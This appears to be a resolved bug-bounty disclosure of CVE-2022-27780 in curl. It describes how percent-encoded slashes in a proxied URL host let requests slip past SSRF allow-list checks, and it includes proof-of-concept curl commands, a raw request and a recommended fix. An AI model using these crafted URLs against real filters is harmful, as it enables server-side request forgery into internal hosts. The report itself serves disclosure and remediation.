CVE-2022-27780: percent-encoded path separator in URL host
Medium
C
curl
Submitted None
Actions:
Reported by
haxatron1
Vulnerability Details
Technical details and impact analysis
## Summary:
URL decoding the entire proxy string could lead to SSRF filter bypasses. For example,
When the following curl specifies the proxy string `http://example.com%2F127.0.0.1`
- If curl URL parser or another RFC3986 compliant parser parses the initial string http://127.0.0.1%2F.example.com, it will derive 127.0.0.1%2Fexample.com or 127.0.0.1/example.com as the host, if for instance, an SSRF check is used to determine if a host ends with .example.com (.example.com being a allow-listed domain), the check will succeed.
- curl will then URL decode the entire proxy string to http://127.0.0.1/example.com and send it to the server
````
GET http://127.0.0.1/example.com HTTP/1.1
Host: 127.0.0.1/example.com
User-Agent: curl/7.83.0
Accept: */*
Proxy-Connection: Keep-Alive
````
- This proxy string is valid, and proxy servers, even RFC3986-compliant ones will send the request to the host 127.0.0.1
## Steps To Reproduce:
I switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.
1. I used https://github.com/abhinavsingh/proxy.py as my proxy server.
2. Perform the following:
````
curl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1
````
3. You will receive a malformed response
````
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
````
However, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF
4. If
- an attacker can control the host header either via curl itself
- the proxy does not forward the host header curl sends,
- or if servers which ignore the Host header entirely such as Express is used,
it is possible to read the full response
````
curl -x http://127.0.0.1:8899 -H "Host: example.com" http://example.com%2F127.0.0.1/%2e%2e/
````
## Recommended Fix:
The recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.
## Impact
SSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Server-Side Request Forgery (SSRF)